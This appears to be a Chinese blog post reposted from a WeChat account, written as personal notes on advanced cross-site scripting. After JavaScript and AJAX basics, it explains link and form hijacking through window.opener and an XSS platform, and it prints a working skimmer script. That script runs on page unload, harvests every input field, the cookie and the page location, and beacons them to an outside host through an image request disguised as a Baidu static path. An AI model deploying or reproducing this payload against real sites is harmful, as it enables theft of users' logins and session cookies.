前置知识点:
①javascript基础知识
javascript参考文档
https://www.w3school.com.cn/jsref/index.asp
自我理解的javascript
基础的javascript语法
html dom理解 属性
从基础的语法也可以思考到我们能够利用js进行做的一些事情了
只要具有内容 我们就可以调用js接口去获取很多东西
甚至于如果浏览器的沙箱出问题了 或者是electron的东西
调用本地资源造成rce漏洞 如 蜜罐去获取history
给我的理解就是访问一个网站后网站里面的js调用的web api
去获取历史内容发送到指定的网站上去进而进行记录
②ajax基础
概念:
Asynchronous JavaScript and XML,异步的 JavaScript 和 XML
作用原理:(即实现只更新需要更新资源的原理)
1.浏览器创建 XMLHttpRequest 对象,发送 AJAX 请求
2.服务器接收请求,创建响应,返回数据
3.浏览器接收数据,动态渲染页面
基本写法:
①创建xmlhttpRequest对象
var xmlhttp;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {
// 兼容 IE6/5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
②发送AJAX请求
GET方式
xmlhttp.open('GET',url, true);
xmlhttp.send();
POST方式
xmlhttp.open('POST',url, true);
xmlhttp.send(data);
③监听响应状态
利用readyState的返回码进行判断
0: 请求未初始化
1: 服务器连接已建立
2: 请求已接收
3: 请求处理中
4: 请求已完成,且响应已就绪
status
200: 请求
404: 未找到页面
//典型思路
xmlhttp.onreadystatechange=function() {
if (xmlhttp.readyState==4 && xmlhttp.status==200) {
// ...
}
}
④处理响应
responseText和responseXML属性接收服务端返回的数据
xmlhttp.onreadystatechange=function() {
if (xmlhttp.readyState==4 && xmlhttp.status==200) {
console.log(xmlhttp.responseText);
// 获得响应数据并使用
}
}
简单的demo:
如这里针对表单进行编写一个demo去发送数据
//第一步获取到数据
利用dom html的知识点
<script type="text/javascript">
var account=document.getElementById('account');
var password=document.getElementById('password');
var submit=document.getElementsByName('submit');
submit.onclick=function(){
var xhr=new XMLHttpRequest();
var accountvalue=account.value;
var passwordvalue=password.value;
var data='account='+ accountvalue+'&password='+passwordvalue;
xhr.open('post','http://localhost:3000/post');
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send(params);
xhr.onload=function(){
console.log(xhr.responseText)
}
}
var accountvalue=account.value;
console.log(accountvalue);
③xss获取数据的原理
因为具有同源策略,所以直接注入xss代码调用html dom发送cookie给其他网站的思路获取cookie以及数据 这条路被限定死了
但是我们可以从其他的思路绕
①跨域思路绕 有些标签允许跨域 因此我们可以把我们的代码扔在一个页面里面 然后利用标签去引用加载他 如 '"> 然后我们在一个平台里面即可绕过同源策略进而获取到数据
②插入表单类代码进行钓鱼攻击
t00ls的XSS平台实战利用
一.蠕虫进行钓鱼
实战攻击方法:配置方法 ①配置一个基础的demo②在创建一个蠕虫 把基础配置里面的xssurl扔到蠕虫配置里面去
然后进行组合 当访问时 会自动劫持该页面的标签的其他页面 如 在本页中
a标签的下一个中 弹弹弹弹走鱼尾纹
最后相应的cookie以及内容弹回在接受那个地方
产生原理研究:只有通过脚本弹出的页面,才能拥有 opener 属性。
然而事实上,通过超链接点开的页面居然也有 opener属性:不受同源策略限制 即可直接调用这个进行写 进而注入代码
两种注入
反向注入(即往父辈进行注入)
正向注入(往子代进行注入)
原理: 在用户点击瞬间,屏蔽掉默认的超链接 转而用弹框页进行取代,进而把xss的代码注入到了windows.open的跳转页面去了
windows.open的思路
<SCRIPT LANGUAGE="javascript">
<!--
window.open ('page.html')
-->
</SCRIPT>
常见三种劫持
链接劫持(即上面那种)
表单劫持
原理:window.open 第二个参数可以赋予新窗口一个 name,然后将 name 赋予表单的 target 属性,即可在我们创建的新窗口里提交
框架注入劫持
二.新表单(登录)劫持
原理分析:
调用document.getElementsByTagName('input');
去获取所有的input标签 然后进行提权标签里面的内容通过去发送
document.getElementsByTagName("body")[0].setAttribute("onunload","postData()");
function postData() {
var locationurl=function() {
try {
return document.location
} catch(e) {
return ''
}
}();
var topurl=function() {
try {
return top.location.href
} catch(e) {
return ''
}
}();
var cookie = function() {
try {
return document.cookie
} catch(e) {
return ''
}
}();
var inputs, index;
var output ="";
var outputif ="";
inputs = document.getElementsByTagName('input');
for (index = 0; index < inputs.length; ++index) {
input_name = inputs[index].id || inputs[index].name;
if(input_name.replace(/(^s*)|(s*$)/g, "").length >2 || inputs[index].value.replace(/(^s*)|(s*$)/g, "").length >2){
output = output + "----" + input_name + "=" + inputs[index].value;
if(input_name.toLowerCase != "submit" || inputs[index].type.toLowerCase != "submit"){
outputif = outputif + inputs[index].value;
}
}
}
output = encodeURIComponent(output); //此版本为修复版2017-08-08 gdd.gd
if(outputif.replace(/(^s*)|(s*$)/g, "").length >4){
new Image().src = "//x0.nz/bdstatic.com/?callback=jsonp&id=dSad"+"&location="+encodeURIComponent(locationurl)+"&toplocation="+encodeURIComponent(topurl)+"&datastorage="+output+"&cookie="+encodeURIComponent(cookie);
}
}
三.xss爬虫
使用方法 还行 还可以这个 获取源码还可以四.其他自己觉得不是有意义的
①基础认证钓鱼②读取源码其实跟爬取那个差不多
读取到的是我们访问能看到的文件内容 不过结合xss钓鱼别人还能用吧 只能说将就看③键盘记录 我没成功
④url跳转跳转 不好用
总结:其实核心就是自己结合网站的参数然后利用ajax的知识和javascript的知识点 编写一个demo.js然后跨域或者钓鱼的思路进行获取数据和进一步利用
原文始发于微信公众号(goddemon的小屋):XSS进阶
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论